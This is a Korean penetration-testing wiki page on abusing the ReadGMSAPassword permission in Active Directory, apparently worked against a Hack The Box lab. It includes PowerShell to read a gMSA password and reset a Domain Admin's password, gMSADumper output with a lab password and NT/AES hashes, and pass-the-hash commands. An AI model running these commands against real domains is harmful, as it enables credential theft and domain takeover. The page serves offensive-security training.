펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Tickets
      • Diamond Tickets
      • DC Shadow
      • RID Hijacking
      • Certificate
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • GenericAll
        • Inherited GenericAll
        • WriteOwner
        • GenericWrite
        • WriteProperty
        • WriteSPN
        • AddMembers
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
        • Restore-ADObject
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Tickets
      • KrbRelayUp
      • GPO
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Timeroasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • Shadow Credentials
      • DCSync
      • LSASS
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
      • Network Access Account Credentials
      • DPAPI Backup Key
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxifier
      • Remote Port Forwarding
    • NTLM Relay
    • WebDAV Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • Domain Trust
    • Active Directory Trusts
    • Two-way Domain Trust
    • One-way Domain Trust
  • ETC
    • CS
      • Active Directory
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Delegation
      • OAuth 2.0
      • S4U
      • SCCM
      • SID History
      • TRUSTWORTHY
      • Link Server Passwords
      • SSL Pinning
    • Tools
      • Mindmap
      • Cobalt Strike
      • BloodHound
      • LDAP Search
      • Hydra
      • Hashcat
      • Ligolo-ng
    • Home Lab
Powered by GitBook
On this page
  • Practice
  • References

Was this helpful?

Export as PDF
  1. 권한 상승
  2. Active Directory
  3. DACL

ReadGMSAPassword

PreviousDACLNextReadLAPSPassword

Last updated 1 month ago

Was this helpful?

gMSA는 Group Managed Service Account의 약어로 Windows Server 환경에서 사용되는 특별한 유형의 관리 서비스 계정입니다. 일반적인 서비스 계정보다 더 강화된 보안을 제공하며, 여러 서버나 컴퓨터에서 하나의 계정을 공유할 수 있도록 설계되었습니다. 이 중에서도 ReadGMSAPassword 권한은 특정 사용자나 그룹이 GMSA 계정의 암호를 읽을 수 있도록 하는 권한입니다.

gMSA는 AD에서 자동으로 관리되므로 패스워드 관리 문제에 관한 솔루션이기도 합니다. 예를 들어 모든 서비스 계정에 30일마다 매우 복잡한 고유 비밀번호가 제공되므로 관리자는 서비스 계정의 비밀번호 재설정에 대해서 자유롭습니다. 따라서 이러한 그룹에 속해있는 사용자 계정을 탈취한다면 gMSA 서비스를 통해 해당 계정의 암호에 접근할 수 있는 권한을 가집니다.

위 사진은 쿠버네티스 환경에서 GMSA의 역할에 대해서 알려주고 있습니다. 컨테이너에서 AD에 등록되어 있는 서비스 예를 들면 SQL Server나 IIS 등을 이용하기 위해서는 해당 서비스에 대해 계정정보를 알아야 합니다. 이때 컨테이너 여러개에서 동일한 서비스 계정에 접근하기 위해서는 패스워드 관리가 필요할 것이며, 서비스 패스워드를 관리자가 매번 관리하는 것보다는 자동화된 프로그램을 통해서 강력한 패스워드 정책을 준수한 패스워드로 설정하는 것이 나을 것입니다. 위 사진 속 과정을 설명하면 다음과 같습니다.

  1. Windows Pod는 쿠버네티스 API에서 사용 가능한 GMSACredentialSpec을 참조합니다.그리고 웹훅은 Windows Pod가 GMSACredentialSpec을 참조할 수 있는 권한이 있는지를 확인합니다. 마지막으로 웹 훅은 GMSACredentialSpec을 Pod의 전체 JSON 형식으로 확장합니다.

  2. Windows 노드에서 실행되는 ccg.exe 프로세스는 PluginID 필드의 CredSpec에 지정된 플러그인을 시작한 다음 AWS Secrets Manager 또는 AWS System Manager Parameter Store에서 이식 가능한 ID 자격 증명을 검색합니다.

  3. ccg.exe는 휴대용 ID 자격 증명을 사용하여 AWS 관리 AD 또는 Amazon EC2 자체관리 AD를 인증하고 GMSA 비밀번호를 검색합니다.

  4. ccg.exe는 GMSA 비밀번호를 Windows Pod에서 사용할 수 있도록 해줍니다.

  5. Windows Pod는 GMSA 비밀번호를 사용하여 AW 관리 AD 또는 Amazon EC2 자체 관리 AD에 대해 인증하고 커버로스 TGS를 얻습니다.

  6. Windows Pod에서는 TGS를 통해 서비스 이용 가능

쉽게 요약하면 다음과 같습니다.

  1. Windows Pod가 GMSACredentialSpec에 접근할 권한이 있는지 웹훅이 확인하며 권한이 있다면 해당 정보를 JSON 포맷으로 전달

  2. ccg.exe는 AD에 접근하기 위해서 인증 정보를 얻기 위해 AWS Server Manager에서 휴대용 ID 자격 증명을 획득

  3. ccg.exe는 획득한 자격증명을 토대로 AWS 관리 AD 혹은 Amazon EC2 자체관리 AD에 자격 증명을 인증하고 GMSA 패스워드를 검색

  4. 획득한 패스워드를 Windows Pod에 전달

  5. Windows Pod는 해당 패스워드를 가지고 Kerberos 인증을 통해 TGS를 발급

  6. 획득한 TGS를 통해서 Pod는 Service 이용이 가능

탈취한 계정이 ReadGMSAPassword 권한이 있는 계정 혹은 그룹, 도메인, 컨테이너라면 우리는 사실상 해당 계정을 장악했다고 봐도 무방합니다. 서버에 Remote PowerShell같은 권한이 있어서 원격 접속이 가능하다면 NT Hash나 gMSA를 가져와서 그 계정의 권한으로 동작을 수행할 수도 있고 SMB나 LDAP 등에 접속하여 크리덴셜 정보를 빼오는 것 또한 가능합니다.

Practice

SIERRA 계정은 BIRMINGHAN-ITSEC 그룹의 멤버입니다. 그리고 이 그룹은 ITSEC의 멤버이기 때문에 SIERRA 계정은 ITSEC 그룹의 권한을 가집니다. 즉 ITSEC이 가진 ReadGMSAPassword 권한을 SIERRA가 가진 것과 동일한데, BIR-ADFS-GMSA 계정에 대한 GMSA를 가지게 되어서 활동이 가능하다면 TRISTAN 계정에 GenericAll 권한이 있기 때문에 TRISTAN 계정의 패스워드 변경이 가능합니다. 또 TRISTAN 계정은 DOMAIN ADMINS 그룹의 구성원이기 때문에 TRISTAN 계정의 패스워드를 BIR-ADFS-GMSA 권한으로 변경한다면 TRISTAN 계정으로 로그인이 가능할 것이고, 이 계정은 DOMAIN ADMINS 권한을 갖는 것이죠. 파워쉘에서 특정 사용자 권한으로 다른 사용자의 패스워드를 변경할 때는 2가지 조건이 필요합니다.

  1. 패스워드를 변경할 사용자의 계정에 대해서 패스워드 변경 권한이 있는 사용자의 계정 정보

  2. 파워쉘 명령어를 입력할 수 있는 프롬포트

현재 2가지 조건을 모두 만족하기 때문에 tristan.davies 계정의 패스워드를 BIR-ADFS-GMSA 권한으로 변경해줍니다.

$gmsa = Get-ADServiceAccount -Identity 'BIR-ADFS-GMSA' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'
$mpl = ConvertFrom-ADManagedPasswordBlob $mp
$user = 'BIR-ADFS-GMSA$'
$password = $mpl.'CurrentPassword'
$secpass = ConvertTo-SecureString $password -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($user, $secpass)

위와 같은 명령으로 BIR-ADFS-GMSA 계정의 정보를 cred 변수에 저장합니다.

Invoke-Command -Computername 127.0.0.1 -ScriptBlock {Set-ADAccountPassword -Identity tristan.davies -reset -NewPassword (ConvertTo-SecureString -AsPlainText 'password123!' -Force)} -Credential $cred

그 다음 커맨드를 입력하여 tristan.davies 의 패스워드를 password123!로 초기화 시킵니다. 이렇게 했을 때 우리는 tristan.davies 사용자 계정의 정보를 획득했고, impacket-wmiexec 모듈을 통해 원격 접속이 가능합니다.

ReadGMSAPassword 권한이 있는 계정에 원격 쉘 접속이 없는 경우에는 NT 해쉬 값을 가져오는 Python 파일을 사용할 수 있습니다. GitHub로부터 파일을 가져온 뒤, 로컬에서 획득한 ReadGMSAPassword 권한이 있는 사용자의 정보를 입력해줍니다.

┌──(root㉿kali)-[~/Pentest/Scripts]
└─# python3 gMSADumper.py -u 'Sierra.Frye' -p '$$49=wide=STRAIGHT=jordan=28$$18' -d search.htb
Users or groups who can read password for BIR-ADFS-GMSA$:
 > ITSec
BIR-ADFS-GMSA$:::e1e9fd9e46d0d747e1595167eedcec0f
BIR-ADFS-GMSA$:aes256-cts-hmac-sha1-96:06e03fa99d7a99ee1e58d795dccc7065a08fe7629441e57ce463be2bc51acf38
BIR-ADFS-GMSA$:aes128-cts-hmac-sha1-96:dc4a4346f54c0df29313ff8a21151a42

유효한 권한을 가졌다면 획득할 수 있는 GMSA 계정에 질의를 하고 획득한 사용자의 NT Hash 정보를 출력해줍니다. NT Hash 정보로는 사실상 대부분의 서비스에서 패스워드와 동일하게 취급받기 때문에 SMB, LDAP과 같은 서비스에 BIR-ADFS-GMSA$ 사용자 계정으로 로그인이 가능합니다.

┌──(root㉿kali)-[~/Pentest/Scripts]
└─# nxc smb 10.10.11.129 -u 'BIR-ADFS-GMSA$' -H e1e9fd9e46d0d747e1595167eedcec0f    
SMB         10.10.11.129    445    RESEARCH         [*] Windows 10 / Server 2019 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.129    445    RESEARCH         [+] search.htb\BIR-ADFS-GMSA$:e1e9fd9e46d0d747e1595167eedcec0f 
nxc ldap <IP> -u <USER> -p <PASS> --gmsa
# ReadGMSAPassword 권한이 있는 계정의 티켓 발급
impacket-getTGT -dc-ip <dc-ip> <domain/username:password>

# 티켓 익스포트
export KRB5CCNAME=<ccache name>

# GMSAPassword 덤프
bloodyAD --host <FQDN> -d <domain> --dc-ip <dc-ip> -k get object <Target> --attr msDS-ManagedPassword

References

GitHub - micahvandeusen/gMSADumper: Lists who can read any gMSA password blobs and parses them if the current user has access.GitHub
GitHub - micahvandeusen/gMSADumper: Lists who can read any gMSA password blobs and parses them if the current user has access.GitHub
Attacking Group Managed Service Accounts (gMSA)Medium
AD-DACL | 레드팀 플레이북
[K8s] 쿠버네티스란 무엇인가?
Logo
Logo
Logo
Logo
Logo